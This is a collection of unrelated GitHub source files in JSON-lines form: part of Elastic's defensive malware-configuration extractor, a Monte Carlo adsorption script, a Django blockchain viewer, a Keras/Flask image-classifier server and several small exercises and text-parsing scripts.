process_configs(self, extract_manager):\n if extract_manager.config:\n for config in extract_manager.config:\n logger.debug(config)\n family = config[\"family\"]\n logger.info(\"[+] Ripped '%s' configuration:\", family)\n logger.debug(config)\n yield config\n\n def transform(self) -> Iterable[dict[str, Any]]:\n\n # self.done is a multiprocessing Event (see .thread.WaitableEvent)\n # that is False unless an unhandled exception occurs or the\n # main thread calls done.set() to signal that it's time to quit\n\n _count: int = 0\n while True:\n\n if self.shutdown.is_set():\n break\n\n try:\n doc = self.inq.get_nowait()\n except Empty:\n continue\n\n if doc is POISON_PILL:\n self.inq.put(POISON_PILL)\n break\n else:\n _doc = Cut(doc)\n _bytes_compressed = _doc[\"_source.process.Ext.memory_region.bytes_compressed\"]\n logger.debug(\"Decompressing\")\n _payload_bytes = zlib.decompress(base64.b64decode(_bytes_compressed))\n\n if self.extractor_modules:\n self.extract_manager = ExtractManager(self.extractor_modules)\n else:\n logger.error(\"extractor_modules not initialized! %s\", self.extractor_modules)\n break\n\n if not self.extract_manager.extractors:\n logger.exception(\"[!] No extractor modules found under '%s'!\", self.modules)\n self.extract_manager.push_procmem(ProcessMemory(_payload_bytes), rip_binaries=True)\n\n for item in self.generate_output_doc(_doc, self.extract_manager):\n yield item\n _count += 1\n\n logger.info(\"Transform, generated %d documents in this batch\", _count)\n\n def generate_output_doc(self, _doc, extract_manager) -> Iterable[Dict[str, Any]]:\n if extract_manager.config:\n logger.debug(\"Generating output doc\")\n for extracted_config in extract_manager.config:\n out_doc: dict[str, Any] = {}\n out_doc[\"@timestamp\"] = _doc[\"_source.@timestamp\"]\n out_doc[\"_id\"] = _doc[\"id\"]\n out_doc[\"agent\"] = {\"id\": _doc[\"_source.agent.id\"]}\n out_doc[\"event\"] = {\n \"kind\": \"event\",\n \"category\": \"malware\",\n \"type\": \"info\",\n }\n out_doc[\"event\"][\"xref\"] = { # type: ignore\n \"cluster_name\": _doc[\"_cluster_info.cluster_name\"],\n \"cluster_uuid\": _doc[\"_cluster_info.cluster_uuid\"],\n \"index\": _doc[\"index\"],\n \"id\": _doc[\"id\"],\n }\n\n if \"rule\" in extracted_config:\n out_doc[\"rule\"] = extracted_config[\"rule\"]\n del extracted_config[\"rule\"]\n elif _doc.get(\"_source.rule\"):\n out_doc[\"rule\"] = _doc[\"_source.rule\"]\n\n out_doc[\"process\"] = _doc[\"_source.process\"]\n out_doc[\"threat\"] = {\"software\": {\"config\": extracted_config}}\n\n if _doc.get(\"_source.file\"):\n _file = {}\n if _doc.get(\"_source.file.hash\"):\n _file[\"hash\"] = _doc[\"_source.file.hash\"]\n if _doc.get(\"_source.file.name\"):\n _file[\"name\"] = _doc[\"_source.file.name\"]\n if _doc.get(\"_source.file.size\"):\n _file[\"size\"] = _doc[\"_source.file.size\"]\n if _file:\n out_doc[\"file\"] = _file\n\n # TODO Add \"related\" field.\n out_doc[\"tags\"] = [\"malware\", extracted_config[\"family\"]]\n yield out_doc\n\n break\n\n def run(self) -> None:\n super().run()\n self._setup_modules()\n\n for item in self.transform():\n self.outq.put(item)\n\n self.outq.put(POISON_PILL)\n logger.debug(\"Shutting down transform\")\n","repo_name":"elastic/malware-exquacker","sub_path":"elastic/malware_config_extractor/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":5403,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"21197913497","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 19 14:37:07 2021\n\n@author: admin\n\"\"\"\n\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\nfrom Wisdom2 import chemical_potential,m,beta,kb\n\ndef minimum_image(r, lbox):\n return r - lbox*np.round(r / lbox)\n\n\ndef surface_lattice(nsites, lbox):\n '''\n create sites lattice\n \n Parameters\n ----------\n tiling : int\n the number of atoms\n L : int\n the length of the box\n\n Returns\n -------\n surface : 2D array(2,nsites)\n surface[0] is postion;surface[1] is state\n\n '''\n surface=np.zeros([nsites])\n for i in range(nsites):\n surface[i]=(i/nsites-0.5)*lbox\n return surface\n\n\ndef check_full(surface):\n '''\n check which site is full\n\n Parameters\n ----------\n surface : 2D array(2,nsites)\n surface[0] is postion;surface[1] is state\n\n Returns\n -------\n TYPE\n DESCRIPTION.\n TYPE\n DESCRIPTION.\n\n '''\n full=[]\n nonfull=[]\n nsites=surface.shape[0]\n\n for i in range(nsites):\n if surface[i]==1:\n full.append(i)\n else:\n nonfull.append(i)\n return full,nonfull\n \n \ndef my_neighbor_list(i, nsites):\n \"\"\" Find all neighbors of site (i, j).\n\n Args:\n i (int): site index along x\n j (int): site index along y\n N (int): number of sites along each dimension\n Return:\n list: a list of 2-tuples, [(i_left, j_left), (i_above, j_above),\n (i_right, j_right), (i_below, j_below)]\n \"\"\"\n left = i-1\n right = i+1\n if (i==nsites-1):\n right = 0\n if (i==0):\n left = nsites-1\n return left, right\n\ndef E_neighbor(surface,i,w):\n '''\n calculate the decrease of energy caused by neigbor interaction when absorb or deabsorb the molecule)\n w is negative\n\n Parameters\n ----------\n surface : 2D array(2,nsites)\n surface[0] is postion;surface[1] is state\n i : int\n the postion of sites which is absorb or deaborb \n w : float\n neighbor interaction parameter\n\n Returns\n -------\n energy : float\n energy change caused by neighbor effect after absorb or adabsorb\n\n '''\n\n left,right=my_neighbor_list(i, surface.shape[0])\n energy=0\n energy+=w*2*(surface[left]+surface[right])\n return energy\n\n\n# def potential_system(surface,binding,w):\n# ''' \n# calculate the whole energy of system, including binding energy \n# and neighbor interaction\n\n# Parameters \n# ----------\n# surface : 2D array(2,nsites)\n# surface[0] is postion;surface[1] is state\n# binding : float\n# binding energy\n# w : float\n# neighbor interaction parameter\n\n# Returns\n# -------\n# energy : float\n\n# '''\n# nsites=surface.shape[0]\n# full,nonfull=check_full(surface)\n# energy=len(full)*binding\n# for i in range(nsites):\n# neighbor=my_neighbor_list(i, nsites) \n# for a in neighbor:\n# energy+=w*(surface[1,a[0]]+surface[1,a[1]])\n# return energy\n\n\n\n\n\n# def check_potential(chemical_potential,beta,mass):\n# '''calculate the exponential part in the acceptence ratio'''\n# nabta=matter_wave_length(mass,beta)\n# return np.exp(beta*chemical_potential/nabta**3)\n\ndef acc_absorb(nsites,natom,binding,surface,beta,chemical_potential,i):\n En=E_neighbor(surface, i, w)\n print('1',np.exp(-beta*binding))\n print('2',np.exp(beta*chemical_potential))\n print('3',np.exp(-beta*En))\n print('4',(nsites-natom)*np.exp(-beta*binding)*np.exp(beta*chemical_potential)*np.exp(-beta*En))\n return (nsites-natom)*np.exp(-beta*binding)*np.exp(beta*chemical_potential)*np.exp(-beta*En)\n\ndef acc_desorb(nsites,natom,binding,surface,beta,chemical_potential,i):\n En=-E_neighbor(surface, i, w)\n return np.exp(-beta*En)/(nsites-natom+1)/np.exp(-beta*binding)/np.exp(beta*chemical_potential)\n\ndef grand_canonical(surface, lbox, beta, chemical_potential,mass,binding,w,full,nonfull):\n '''\n gand_canonical move\n \n\n Parameters\n ----------\n surface : 2D array(2,nsites)\n surface[0] is postion;surface[1] is state\n lbox : float\n length of the whold sites\n cutt_off radius\n beta : float\n 1/(k_b*T)\n chemical_potential : float\n chemical_potential get from Widom\n mass : int\n mass of Ne atom\n binding : float\n binding energy\n w : float\n neighbor interaction parametersurface : TYPE\n\n Returns\n -------\n s 1D array(nsites)\n the total number of biding atoms per sites\n\n\n '''\n nsites=surface.shape[0]\n natom=len(full)\n naccept_remove = 0\n nreject_remove = 0\n naccept_add = 0\n nreject_add = 0\n\n if (random.random()<0.5 and len(full)!=0):\n '''remove'''\n i=random.choice(full)\n surface_old=np.copy(surface)\n surface[i]=0\n acc=acc_absorb(nsites, natom, binding, surface, beta, chemical_potential, i)\n print('d acc',acc)\n if (random.random()>acc):\n surface[i]=surface_old[i]\n nreject_remove+=1\n else:\n naccept_remove+=1\n else:\n '''absorb'''\n surface_old=np.copy(surface)\n #U_old=potential_neighborsite_all(surface_old,b)\n i=random.choice(nonfull)\n surface[i]=1\n #U_new=potential_site_all(surface,lbox,rc)+b\n acc=acc_absorb(nsites, natom, binding, surface, beta, chemical_potential, i)\n print('absorb acc',acc)\n if (random.random()>acc):\n surface=surface_old\n nreject_add+=1\n else:\n naccept_add+=1\n return surface\n\n\n\nnsites=10\nlbox=1e-10\n\nw=2.4*kb\nbinding=5*kb\n\nsurface=surface_lattice(nsites, lbox)\ns=np.zeros([nsites])\n\nncycle=10\nfor _ in range(ncycle):\n full,nonfull=check_full(surface)\n surface=grand_canonical(surface, lbox, beta, chemical_potential,m,binding,w,full,nonfull)\n s+=surface\n sites=np.asarray(np.linspace(0,nsites-1,nsites))\n#sites=np.stack(sites,surface,axis=0)\n fig = plt.figure()\n ax = plt.axes()\n ax.scatter(sites,surface)\n plt.show()\ns=np.average(s)/ncycle\nprint (s)\n\n","repo_name":"Damoduxingxia1999/485-project","sub_path":"grand canonical2.py","file_name":"grand canonical2.py","file_ext":"py","file_size_in_byte":6143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71607312402","text":"import json\nimport re\nimport urllib3\nimport datetime\nimport pytz\nimport base64\nimport qrcode\nfrom io import BytesIO\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom django.views.generic import ListView\nfrom django.db.models import Sum\nfrom .models import Address, Transaction\n\n# Create your views here.\n\nMAX_SITES_COUNT = 101\n\nclass IndexView(TemplateView):\n template_name = \"index.html\"\n\nclass AddressView(ListView):\n template_name = \"address.html\"\n context_object_name = 'transactions'\n model = Transaction\n\n def get_context_data(self, **kwargs):\n context = super(AddressView, self).get_context_data(**kwargs)\n if context['transactions'] is not None:\n context['count'] = context['transactions'].count()\n context['sum'] = context['transactions'].aggregate(Sum('value'))['value__sum']\n positive_sum = context['transactions'].filter(value__gt=0).aggregate(Sum('value'))['value__sum']\n negative_sum = context['transactions'].filter(value__lt=0).aggregate(Sum('value'))['value__sum']\n print(positive_sum, negative_sum)\n if positive_sum is not None and negative_sum is not None:\n context['total_value'] = positive_sum - negative_sum\n elif positive_sum is not None:\n context['total_value'] = positive_sum\n elif negative_sum is not None:\n context['total_value'] = -negative_sum\n else:\n context['total_value'] = 0\n context['address'] = self.kwargs['address_id']\n if self.request.GET.get('start', None) is not None:\n context['start_date'] = self.request.GET.get('start', None)\n if self.request.GET.get('end', None) is not None:\n context['end_date'] = self.request.GET.get('end', None)\n return context\n\n def get_queryset(self):\n address_param = self.kwargs['address_id']\n datetime_start = None\n datetime_end = None\n start_date = self.request.GET.get('start', None)\n end_date = self.request.GET.get('end', None)\n if start_date is not None:\n try:\n datetime_start = datetime.date(*(int(x) for x in start_date.split('-')))\n except:\n datetime_start = None\n if end_date is not None:\n try:\n datetime_end = datetime.date(*(int(x) for x in end_date.split('-'))) + datetime.timedelta(days=1)\n except:\n datetime_end = None\n #print(start_date.split('-'), end_date.split('-'))\n queryset = Transaction.objects.filter(address__address=address_param)\n if len(queryset) != 0:\n queryset = self.filter_date(queryset, datetime_start, datetime_end)\n print(queryset)\n return queryset\n else:\n queryset = self.get_transactions(address_param)\n queryset = self.filter_date(queryset, datetime_start, datetime_end)\n return queryset\n\n def get_transactions(self, address):\n db_address = Address(address=address)\n db_address.save()\n http = urllib3.PoolManager()\n r = http.request('GET', 'https://blockchain.info/rawaddr/' + address)\n if r.status!=200:\n return\n transactions = json.loads(r.data.decode('utf-8'))['txs']\n it = 0\n for site in range(1, MAX_SITES_COUNT):\n it += 1\n if r.status==200 and len(transactions)!=0:\n #here calculations\n for t in transactions:\n hash_id = t['hash']\n date = datetime.datetime.utcfromtimestamp(t['time'])\n value = self.count_value(t, address)\n db_transaction = Transaction(address=db_address, hash_id=hash_id, value=value, date=date)\n db_transaction.save()\n print(hash_id, date, value/100000000)\n url = 'https://blockchain.info/rawaddr/' + address + '?offset=' + str(site*50)\n print(url)\n if len(transactions) < 50:\n break\n r = http.request('GET', url)\n transactions = json.loads(r.data.decode('utf-8'))['txs']\n else:\n break \n return Transaction.objects.filter(address__address=address)\n\n def count_value(self, transaction, address):\n inputs = transaction['inputs']\n out = transaction['out']\n address_inputs = [x['prev_out']['addr'] for x in inputs if 'prev_out' in x.keys()]\n\n if address in address_inputs:\n amount = sum([x['value'] for x in out if x['value'] != 0 and x['addr'] != address])\n total_input = sum([x['prev_out']['value'] for x in inputs]) \n total_output = sum([x['value'] for x in out])\n value = -(amount + total_input - total_output)\n else:\n amount = sum([x['value'] for x in out if x['value'] != 0 and x['addr'] == address])\n value = amount \n return value\n \n def filter_date(self, queryset, start_date, end_date):\n if start_date is not None or end_date is not None:\n if start_date is not None and end_date is not None:\n return queryset.filter(date__range=[start_date, end_date])\n elif start_date is not None:\n return queryset.filter(date__gte=start_date)\n else:\n return queryset.filter(date__lte=end_date)\n else:\n return queryset\n \n\nclass QrCodeView(TemplateView):\n template_name = \"qrcode.html\"\n\n def get_context_data(self, **kwargs):\n context = super(QrCodeView, self).get_context_data(**kwargs)\n address = self.request.GET.get('address', None)\n if address is not None:\n m = re.match('[0-9a-zA-Z]{27,34}', address)\n if m is None:\n return None\n img = qrcode.make(address)\n buffered = BytesIO()\n img.save(buffered, format=\"JPEG\")\n img_str = base64.b64encode(buffered.getvalue())\n context['qrcode'] = img_str.decode('utf-8')\n context['address'] = address\n return context\n","repo_name":"DarkAlek/django-blockchain-api","sub_path":"blockchainsite/blockchainaddressapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22166036513","text":"import os\nos.system(\"cls\")\n\ndef workOutWinner(bidders):\n highestBid = 0\n highestBidder = \"\"\n\n for key in bidders:\n if bidders[key] > highestBid:\n highestBid = bidders[key]\n highestBidder = key\n\n print(f\"{highestBidder} is the highest bidder with a bid of ${highestBid}\")\n\n\ndef collectBids():\n\n moreBidders = True\n bidders = {}\n while moreBidders:\n name = input(\"What is the name of the bidder? \\n\")\n bid = int(input(\"How much do you want to bid? \\n$\"))\n bidders[name] = bid\n carryOn = input(\"Are there anymore bidders? (yes) (no)\\n\").lower()\n if carryOn == \"yes\":\n os.system(\"cls\")\n else:\n moreBidders = False\n workOutWinner(bidders)\n\n","repo_name":"GenericName192/100-Days-of-code-python","sub_path":"Day9/day9project.py","file_name":"day9project.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35539713140","text":"# USAGE\n# Start the server:\n# \tpython run_keras_server.py\n# Submit a request via cURL:\n# \tcurl -X POST -F image=@dog.jpg 'http://localhost:5000/predict'\n# Submita a request via Python:\n#\tpython simple_request.py\n\n# import the necessary packages\nimport keras\nfrom keras.applications import ResNet50\nfrom keras.applications.xception import Xception\nfrom keras.applications.vgg16 import VGG16\nfrom keras.preprocessing.image import img_to_array\nfrom keras.applications import imagenet_utils\nfrom keras.preprocessing import image\nfrom PIL import Image\nimport numpy as np\nimport flask\nimport io \n\n\n\n# initialize our Flask application and the Keras model\napp = flask.Flask(__name__)\nmodel = None\n\ndef load_model():\n\t# load the pre-trained Keras model (here we are using a model\n\t# pre-trained on ImageNet and provided by Keras, but you can\n\t# substitute in your own networks just as easily)\n\tglobal model\n\tmodel = ResNet50(weights=\"imagenet\")\n\tglobal modelXception\n\tmodelXception = Xception(weights=\"static/model/0fc18241-ecc1-4c84-97f8-efc4e4f9dad8_Xception.h5\")\n\tglobal modelVGG16\n\tmodelVGG16 = VGG16(weights=\"static/model/4a05295f-317f-4348-b792-c6c44658e7f7_vgg16_weights_tf_dim_ordering_tf_kernels.h5\")\n\n\ndef prepare_image(img, target):\n\t# if the image mode is not RGB, convert it\n\tif img.mode != \"RGB\":\n\t\timg = img.convert(\"RGB\")\n\n\t# resize the input image and preprocess it\n\timg = img.resize(target)\n\timg = img_to_array(img)\n\timg = np.expand_dims(img, axis=0)\n\timg = imagenet_utils.preprocess_input(img)\n\n\t# return the processed image\n\treturn img\n\ndef dog_detector(pred):\n\tdog = np.argmax(pred)\n\tif((dog<=268)&(dog>=151)):\n\t\treturn True\n\telse:\n\t\treturn False\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef predict():\n\t# initialize the data dictionary that will be returned from the\n\t# view\n\tdata = {\"success\": False}\n\n\t# ensure an image was properly uploaded to our endpoint\n\tif flask.request.method == \"POST\":\n\t\tif flask.request.files.get(\"image\"):\n\n\t\t\tpreds=\"\"\n\t\t\tresults=\"\"\n\t\t\tselect = flask.request.files[\"model\"].read().decode(\"utf-8\")\n\n\n\t\t\tif(select=='ResNet50'):\n\t\t\t\t# preprocess the image and prepare it for classification\n\t\t\t\timageRead = flask.request.files[\"image\"].read()\n\t\t\t\timageRead = Image.open(io.BytesIO(imageRead))\n\t\t\t\timageResNet = prepare_image(imageRead, target=(224, 224))\n\t\t\t\t# classify the input image and then initialize the list\n\t\t\t\t# of predictions to return to the client\n\t\t\t\tpreds = model.predict(imageResNet)\n\t\t\t\tresults = imagenet_utils.decode_predictions(preds)\n\n\t\t\telif(select=='Xception'):\n\t\t\t\tfrom keras.applications.xception import preprocess_input, decode_predictions\n\t\t\t\timg = image.load_img(flask.request.files[\"imagepath\"].read().decode(\"utf-8\"), target_size=(299,299))\n\t\t\t\timg_arr = np.expand_dims(image.img_to_array(img), axis=0)\n\t\t\t\tx = preprocess_input(img_arr)\n\t\t\t\tpreds = modelXception.predict(x)\n\t\t\t\tresults=decode_predictions(preds)\n\t\t\telif(select==\"VGG16\"):\n\t\t\t\tfrom keras.applications.vgg16 import preprocess_input, decode_predictions\n\t\t\t\timg = image.load_img(flask.request.files[\"imagepath\"].read().decode(\"utf-8\"), target_size=(224,224))\n\t\t\t\timg_arr = np.expand_dims(image.img_to_array(img), axis=0)\n\t\t\t\tx = preprocess_input(img_arr)\n\t\t\t\tpreds = modelVGG16.predict(x)\n\t\t\t\tresults=decode_predictions(preds)\n\n\n\t\t\t\n\n\n\n\t\t\tdata[\"predictions\"] = []\n\n\t\t\tdog=False\n\n\t\t\t#if(face_detector(imagepath)):\n\t\t\t\t#human = True\n\t\t\tif(dog_detector(preds)):\n\t\t\t\tdog=True\n\n\n\t\t\t# loop over the results and add them to the list of\n\t\t\t# returned predictions\n\t\t\tfor (imagenetID, label, prob) in results[0]:\n\t\t\t\tr = {\"label\": label, \"probability\": float(prob)}\n\t\t\t\tdata[\"predictions\"].append(r)\n\n\t\t\t# indicate that the request was a success\n\t\t\tdata[\"success\"] = True\n\t\t\tdata[\"dog\"] = dog\n\t# return the data dictionary as a JSON response\n\treturn flask.jsonify(data)\n\n# if this is the main thread of execution first load the model and\n# then start the server\nif __name__ == \"__main__\":\n\tprint((\"* Loading Keras model and Flask starting server...\"\n\t\t\"please wait until server has fully started\"))\n\tload_model()\n\tapp.run()\n","repo_name":"muftahpangestu/dogBreedDetector","sub_path":"kp2017-1572054-muftahafrizal-deteksirasanjing/request_handler.py","file_name":"request_handler.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18531152494","text":"import pyaml\nimport sys\nimport os\n\nos.chdir(sys.path[1])\n\ndef main():\n\twith open(\"config.yaml\") as f:\n\t\tconfig = f.read()\n\t\tdata = pyaml.dump(config)\n\t\tprint(\"------------\")\n\t\tprint(data)\n\t\tprint(\"-----------\")\n\t\tname_app = data.split(\"\\n\")\n\t\tprint(name_app)\n##\t\tprint(dir(list))\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"mukharomdev/mukharomdev","sub_path":"code/python/yorishbot/test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"73843507281","text":"# 1012. 数字分类.py\n# Created by liqiang on 05/01/2018.\n\ndef avg(x):\n return sum(x)/len(x)\n\nx = list(map(int, input('').split()))[1:]\na1 = [i for i in x if i%5==0 and i%2==0]\na2 = [i for i in x if i%5==1]\na3 = [i for i in x if i%5==2]\na4 = [i for i in x if i%5==3]\na5 = [i for i in x if i%5==4]\n\nif a1==[]:\n r1 = 'N'\nelse:\n r1 = sum(a1)\n\nif a2==[]:\n r2 = 'N'\nelse: \n r2 = 0\n for p,v in enumerate(a2):\n r2 += v*(-1)**p\n\nif a3==[]:\n r3 = 'N'\nelse:\n r3 = len(a3)\n\nif a4==[]:\n r4 = 'N'\nelse:\n r4 = '%.1f'%(avg(a4))\n\nif a5 ==[]:\n r5 = 'N'\nelse:\n r5 = max(a5)\n\nprint(r1, r2, r3, r4, r5)\n","repo_name":"liqiangvip/PAT-Python3","sub_path":"basic-level/1012.py","file_name":"1012.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15601946930","text":"from distutils.file_util import copy_file\nfrom posixpath import split\nimport pandas as pd\nimport os, shutil\nimport re\nimport PyPDF2\nfrom utilhealthai import Util\n\nlist_comorbidities = ['Chronic kidney disease','CKD V','Hypertension','Urinary tract infection','Iron Deficiency' \\\n 'HTN','Chronic Obstructive Pulmonary Disease','COPD','chronic interstitial lung disease']\nTOP_TABLETS = ['dexamethasone', 'pantoprazole', 'aciclovir', 'ecosprin', 'benadon', 'cyclophosphamide', 'thalidomide', 'febuxostat', 'lafutidine', 'amlodipine'] #by code\nTOP_TABLETS = [tab.upper() for tab in TOP_TABLETS]\n\n# replacement function to convert uppercase letter to lowercase\ndef add_space_inbetween(match_obj):\n if match_obj.group() is not None:\n return \" \".join(match_obj.group())\n\ndef pre_process(file_txt):\n file_txt_replaced = re.sub('\\d[A-Z]', add_space_inbetween, file_txt)\n return file_txt_replaced \n\ndef copy_admission_file(file_name):\n # pdf_dirs = [\"C:\\\\Users\\\\prati\\\\Downloads\\\\patients_pdfs\\\\patients from 9th August 2019\", \"C:\\\\Users\\\\prati\\\\Downloads\\\\patients_pdfs\\\\Patients2\"]\n dir_processed_txt = [\"C:\\\\Users\\\\prati\\\\Downloads\\\\patients from 9th August 2019 txt\", \"C:\\\\Users\\\\prati\\\\Downloads\\\\p2_txt\", \"C:\\\\Users\\\\prati\\\\Downloads\\\\p3_txt\"]\n for foldr in dir_processed_txt:\n all_files = os.listdir(foldr)\n if file_name in all_files:\n if foldr == \"C:\\\\Users\\\\prati\\\\Downloads\\\\patients from 9th August 2019 txt\":\n shutil.copy(os.path.join(foldr,file_name), 'C:\\\\Users\\\\prati\\\\Documents\\\\health_ai_doc\\\\myeloma_admission_pdfs\\\\'+file_name+\"_p5\")\n elif foldr == \"C:\\\\Users\\\\prati\\\\Downloads\\\\p2_txt\":\n shutil.copy(os.path.join(foldr,file_name), 'C:\\\\Users\\\\prati\\\\Documents\\\\health_ai_doc\\\\myeloma_admission_pdfs\\\\'+file_name+\"_p2\")\n elif foldr == \"C:\\\\Users\\\\prati\\\\Downloads\\\\p3_txt\":\n shutil.copy(os.path.join(foldr,file_name), 'C:\\\\Users\\\\prati\\\\Documents\\\\health_ai_doc\\\\myeloma_admission_pdfs\\\\'+file_name+\"_p3\") \n\ndef read_myeloma_excel():\n df = pd.read_excel(\"C:\\\\Users\\\\prati\\\\Downloads\\\\Myeloma patients of Prantar.xlsx\")\n df['Sex'] = df['Sex'].str.strip() \n print(df['Sex'].value_counts())\n df2 = df.loc[df['Sex'].isin([\"Male\", \"Female\"])]\n print(df2.head(10))\n print(df2.count())\n print(df2.columns)\n return df2\n\ndef find_matched_files(df):\n pdf_dirs = [\"C:\\\\Users\\\\prati\\\\Downloads\\\\patients_pdfs\\\\patients from 9th August 2019\", \"C:\\\\Users\\\\prati\\\\Downloads\\\\patients_pdfs\\\\Patients2\"]\n pdf_files = [filename for foldr in pdf_dirs for filename in os.listdir(foldr) if filename.endswith(\".pdf\")]\n df['First Name'] = df['First Name'].astype(str)\n df['Last Name'] = df['Last Name'].astype(str)\n matched_files = []\n for index, row in df.iterrows():\n r = re.compile(row['First Name'].lower() + \" \" + row['Last Name'].lower()+\"\\s?\\({0,1}[0-9]{0,1}\\){0,1}\"+\"\\.pdf\")\n newlist = list(filter(r.match, pdf_files)) # Read Note below\n if newlist: \n if 'ajit kumar das' in newlist:\n print(\"bug\")\n # print(newlist)\n matched_files.extend(newlist)\n # file_name_from_df = row['First Name'].lower() + \" \" + row['Last Name'].lower()+\".pdf\"\n # if file_name_from_df in pdf_files:\n # print(file_name_from_df)\n print(matched_files)\n return matched_files\n\ndef extract_using_type2_office_id(extracted_txt, filename, directory):\n with open(os.path.join(directory,filename), 'r', errors='ignore') as fl:\n newlines1 = []\n newlines2 = []\n for line in fl.readlines():\n # print(line)\n line1 = re.sub(' +', ' ', line[:49]).strip()\n line2 = re.sub(' +', ' ', line[49:]).strip()\n if line1 != '' : newlines1.append(line1+\"\\n\")\n if line2 != '' : newlines2.append(line2+\"\\n\")\n \n # with open(os.path.join(dir_processed_txt,filename),\"w\") as file1:\n extracted_txt = ''\n extracted_txt = \"\".join(newlines1) + \"\".join(newlines1)\n # extracted_txt.writelines(newlines2)\n tmp_dict = {\"file\":filename}\n if any(x in extracted_txt[400:].lower() for x in ['admission', 'hospitalisation']): #for discarding admission in notes sections\n tmp_dict[\"admission\"] = 1 #true \n copy_admission_file(filename)\n else:\n tmp_dict[\"admission\"] = 0\n name = re.search(\"(?<=Name:\\s)(.*)(?=\\n)\", extracted_txt)\n if name:\n tmp_dict[\"Name\"] = name.group().lower()\n age_sex = re.search(\"(?<=Age\\/Sex:\\s)([0-9]{1,3}y\\s\\/\\s[MF])\", extracted_txt)\n if age_sex:\n tmp_dict[\"age\"] = age_sex.group()[:2] \n tmp_dict[\"gender\"] = age_sex.group()[-1] \n date = re.findall(\"\\d{2}-\\d{2}-\\d{4}\", extracted_txt)\n if date:\n tmp_dict[\"date\"] = date[0]\n office_id = re.search(\"(?<=Office ID:\\s)(\\d{4})\", extracted_txt)\n if office_id:\n tmp_dict[\"office_id\"] = office_id.group()\n blood_group = re.search(\"(?<=Blood Group:\\s)([AB]{1,2}\\+)\", extracted_txt)\n if blood_group:\n tmp_dict[\"blood_group\"] = blood_group.group()\n weight = re.search(\"(?<=Weight:\\s)([0-9]{1,3})\", extracted_txt)\n if weight:\n tmp_dict[\"Weight\"] = weight.group()\n height = re.search(\"(?<=Height:\\s)([0-9]{1,3})\", extracted_txt)\n if height:\n tmp_dict[\"Height\"] = height.group()\n # print(tmp_dict)\n bmi = re.search(\"(?<=BMI:\\s)([0-9]{1,3}\\.[0-9]{1,3})\", extracted_txt)\n if bmi:\n tmp_dict[\"BMI\"] = bmi.group()\n # print(tmp_dict)\n x = None\n if \"Investigation results:\" in extracted_txt and \"Instructions:\" in extracted_txt:\n # print(extracted_txt)\n x = re.search(\"(?<=Investigation results:)(.*)(?=Instructions:)\", extracted_txt, re.DOTALL)\n # print(x)\n elif \"Investigation results:\" in extracted_txt and \"Follow up:\" in extracted_txt:\n x = re.search(\"(?<=Investigation results:)(.*)(?=Follow up:)\", extracted_txt, re.DOTALL)\n # else:\n # extracted_entities_by_page.append(tmp_dict)\n # continue\n # x = re.search(\"(?<=Notes:)(.*)(?=Rx)\", pageObj.extractText())\n if x:\n extracted_Investigation = x.group()\n # print(extracted_Investigation) \n matched_investigation = re.findall(\"((\\w+\\s?){1,3}:\\s[0-9.%\\/0-9]+\\s(gm\\/dL|gm\\/dl|mg\\/dl|mg\\/dL|fl|fL|\\/ul|\\/uL|mmHg|Cms|million\\/ul|mm\\/hr|units\\/L|mmHg|Cms.|Kg.|pg|%|kg\\/m2|U\\/L){0,1})\", extracted_Investigation, re.DOTALL)\n\n for txt in matched_investigation:\n # print(txt[0])\n txt_temp= str.replace(txt[0], '\\n',' ')\n single_test = txt_temp.split(':')\n tmp_dict[single_test[0].strip().upper().strip()] = single_test[1].split()[0]\n # print(tmp_dict)\n if \"Notes:\" in extracted_txt and \"Vitals:\" in extracted_txt:\n # print(extracted_txt)\n x = re.search(\"(?<=Notes:)(.*)(?=Vitals:)\", extracted_txt, re.DOTALL)\n if x:\n extracted_notes = x.group()\n # tmp_dict['notes'] = extracted_notes\n matched_txt = re.findall(\"(([A-Z()]\\w+\\s+){1,3}[0-9.%\\/0-9]+\\s(gm\\/dL|gm\\/dl|mg\\/dl|mg\\/dL|fl|fL|\\/ul|\\/uL|mmHg|Cms|million\\/ul|mm\\/hr|units\\/L|mmHg|Cms.|Kg.|pg|%|kg\\/m2|U\\/L){0,1})\", extracted_notes)\n for txt in matched_txt:\n # print(txt[0])\n extracted_notes = extracted_notes.replace(txt[0], '')\n single_test = txt[0].split()\n if len(single_test) >= 3:\n if len(single_test) == 4 and \"Packed Cell Volume\" in txt[0]:\n tmp_dict[\" \".join(single_test[:-1]).strip().upper().strip()] = single_test[-1].replace(\"%\",'')\n else:\n tmp_dict[\" \".join(single_test[:-2]).strip().upper().strip()] = single_test[-2]\n tmp_dict['notes'] = extracted_notes\n x_symptoms = None\n if \"Symptoms:\" in extracted_txt and \"Findings:\" in extracted_txt:\n # print(extracted_txt)\n x_symptoms = re.search(\"(?<=Symptoms:)(.*)(?=Findings:)\", extracted_txt, re.DOTALL)\n elif \"Symptoms:\" in extracted_txt and \"Notes:\" in extracted_txt:\n x_symptoms = re.search(\"(?<=Symptoms:)(.*)(?=Notes:)\", extracted_txt, re.DOTALL)\n if x_symptoms:\n extracted_symptoms = x_symptoms.group()\n tmp_dict['Symptoms'] = extracted_symptoms\n x_diagnosis = None\n if \"Diagnosis:\" in extracted_txt and \"Investigation results:\" in 